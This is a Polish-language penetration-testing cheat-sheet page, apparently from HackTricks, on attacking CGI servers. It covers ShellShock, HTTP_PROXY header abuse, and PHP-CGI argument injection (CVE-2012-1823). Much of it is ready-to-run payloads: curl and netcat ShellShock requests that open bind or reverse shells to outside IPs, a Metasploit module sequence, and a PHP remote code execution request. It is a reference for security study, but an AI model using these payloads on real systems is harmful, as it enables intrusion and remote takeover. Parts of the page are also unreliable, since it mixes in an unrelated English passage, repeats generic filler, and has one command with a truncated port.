CGI

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Informacje

Skrypty CGI są skryptami perl, więc jeśli zdobyłeś dostęp do serwera, który może wykonywać skrypty .cgi, możesz przesłać odwróconą powłokę perl (/usr/share/webshells/perl/perl-reverse-shell.pl), zmienić rozszerzenie z .pl na .cgi, nadać uprawnienia do wykonania (chmod +x) i uzyskać dostęp do odwróconej powłoki z przeglądarki internetowej, aby ją uruchomić. Aby przetestować podatności CGI, zaleca się użycie nikto -C all (i wszystkich wtyczek)

ShellShock

ShellShock to podatność, która dotyczy powszechnie używanego powłoki wiersza poleceń Bash w systemach operacyjnych opartych na Unix. Celuje w zdolność Bash do uruchamiania poleceń przekazywanych przez aplikacje. Podatność polega na manipulacji zmiennymi środowiskowymi, które są dynamicznie nazwanymi wartościami, wpływającymi na sposób działania procesów na komputerze. Atakujący mogą wykorzystać to, dołączając złośliwy kod do zmiennych środowiskowych, który jest wykonywany po otrzymaniu zmiennej. Pozwala to atakującym potencjalnie naruszyć system.

Wykorzystując tę podatność, strona może wygenerować błąd.

Możesz odnaleźć tę podatność, zauważając, że używana jest stara wersja Apache i cgi_mod (z folderem cgi) lub używając nikto.

Test

Większość testów polega na wyświetleniu czegoś i oczekiwaniu, że ten ciąg zostanie zwrócony w odpowiedzi sieciowej. Jeśli uważasz, że strona może być podatna, wyszukaj wszystkie strony cgi i przetestuj je.

Nmap

nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi

Curl (odzwierciedlony, ślepy i z wykorzystaniem kanałów pobocznych)

Curl is a command-line tool that allows you to make HTTP requests. It can be used for various purposes, including testing and debugging web applications. In the context of web application penetration testing, Curl can be used to perform reflected, blind, and out-of-band attacks.

Reflected Attacks

In a reflected attack, the payload is included in the request and the server reflects it back in the response. This can be used to exploit vulnerabilities such as Cross-Site Scripting (XSS). Curl can be used to send a request with a payload and analyze the response to determine if the payload is being reflected.

Blind Attacks

In a blind attack, the payload is included in the request, but the response does not directly reveal the result of the attack. This can be used to exploit vulnerabilities such as Blind SQL Injection. Curl can be used to send requests with different payloads and analyze the response to infer information about the underlying system.

Out-of-Band Attacks

In an out-of-band attack, the payload triggers a separate communication channel to send information from the target system to an external server controlled by the attacker. This can be used to exploit vulnerabilities such as Server-Side Request Forgery (SSRF) or to exfiltrate data from the target system. Curl can be used to send requests with payloads that trigger out-of-band communication and analyze the responses received on the external server.

Curl is a versatile tool that can be used in various scenarios during web application penetration testing. Understanding its capabilities and how to use it effectively can greatly enhance the testing process.

# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh

Shellsocker

python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi

Wykorzystanie

Wprowadzenie

Wykorzystanie to proces wykorzystywania podatności w celu uzyskania nieautoryzowanego dostępu lub wykonania niepożądanych działań na systemie. W przypadku aplikacji CGI (Common Gateway Interface), wykorzystanie może obejmować manipulację parametrami żądania, wywoływanie niebezpiecznych poleceń lub wykorzystywanie podatności w skryptach CGI.

Wykorzystanie podatności w skryptach CGI

Aby wykorzystać podatność w skryptach CGI, należy najpierw zidentyfikować potencjalne podatności, takie jak:

  • Podatności związane z manipulacją parametrami żądania, takie jak podatność na wstrzyknięcie SQL lub podatność na wstrzyknięcie kodu PHP.

  • Podatności związane z niebezpiecznymi poleceniami, takie jak podatność na wstrzyknięcie poleceń systemowych.

  • Podatności związane z nieprawidłowym zarządzaniem plikami, takie jak podatność na wstrzyknięcie plików.

Po zidentyfikowaniu podatności można przystąpić do wykorzystania ich w celu uzyskania nieautoryzowanego dostępu lub wykonania niepożądanych działań. Przykładowe techniki wykorzystania podatności w skryptach CGI obejmują:

  • Wstrzyknięcie kodu PHP lub SQL poprzez manipulację parametrami żądania.

  • Wywołanie niebezpiecznych poleceń systemowych poprzez wstrzyknięcie poleceń.

  • Wstrzyknięcie plików, które mogą prowadzić do wykonania niepożądanych działań.

Wykorzystanie podatności w serwerach CGI

Podatności w serwerach CGI mogą być wykorzystywane w celu uzyskania nieautoryzowanego dostępu do systemu lub wykonania niepożądanych działań. Przykładowe techniki wykorzystania podatności w serwerach CGI obejmują:

  • Wykorzystanie podatności w serwerze CGI do uzyskania dostępu do plików systemowych lub bazy danych.

  • Wykorzystanie podatności w serwerze CGI do wykonania niebezpiecznych poleceń systemowych.

  • Wykorzystanie podatności w serwerze CGI do przekierowania ruchu sieciowego lub ataku typu Denial of Service (DoS).

Wykorzystanie podatności w aplikacjach CGI

Podatności w aplikacjach CGI mogą być wykorzystywane w celu uzyskania nieautoryzowanego dostępu do systemu lub wykonania niepożądanych działań. Przykładowe techniki wykorzystania podatności w aplikacjach CGI obejmują:

  • Wykorzystanie podatności w aplikacji CGI do uzyskania dostępu do danych użytkowników.

  • Wykorzystanie podatności w aplikacji CGI do wykonania niebezpiecznych operacji na danych.

  • Wykorzystanie podatności w aplikacji CGI do przekierowania ruchu sieciowego lub ataku typu Denial of Service (DoS).

Podsumowanie

Wykorzystanie podatności w aplikacjach CGI, serwerach CGI i skryptach CGI jest powszechną techniką stosowaną przez hakerów w celu uzyskania nieautoryzowanego dostępu lub wykonania niepożądanych działań. Aby zabezpieczyć system przed wykorzystaniem podatności CGI, należy regularnie aktualizować oprogramowanie, przeprowadzać audyty bezpieczeństwa i stosować najlepsze praktyki programistyczne.

#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run

Proxy (MitM do żądań serwera WWW)

CGI tworzy zmienną środowiskową dla każdego nagłówka w żądaniu HTTP. Na przykład: "host:web.com" jest tworzone jako "HTTP_HOST"="web.com"

Ponieważ zmienna HTTP_PROXY może być używana przez serwer WWW, spróbuj wysłać nagłówek zawierający: "Proxy: <IP_atakującego>:<PORT>", a jeśli serwer wykonuje jakiekolwiek żądanie podczas sesji, będziesz w stanie przechwycić każde żądanie wykonane przez serwer.

Stary PHP + CGI = RCE (CVE-2012-1823, CVE-2012-2311)

W zasadzie, jeśli cgi jest aktywne, a php jest "stare" (<5.3.12 / < 5.4.2), można wykonać kod. Aby wykorzystać tę podatność, musisz uzyskać dostęp do pewnego pliku PHP serwera WWW bez wysyłania parametrów (szczególnie bez wysyłania znaku "="). Następnie, aby przetestować tę podatność, można na przykład uzyskać dostęp do /index.php?-s (zauważ "-s") i kod źródłowy aplikacji pojawi się w odpowiedzi.

Następnie, aby uzyskać RCE, można wysłać to specjalne zapytanie: /?-d allow_url_include=1 -d auto_prepend_file=php://input i kod PHP do wykonania w treści żądania. Przykład:

curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

Więcej informacji na temat podatności i możliwych ataków: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, Przykład rozwiązania CTF.

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated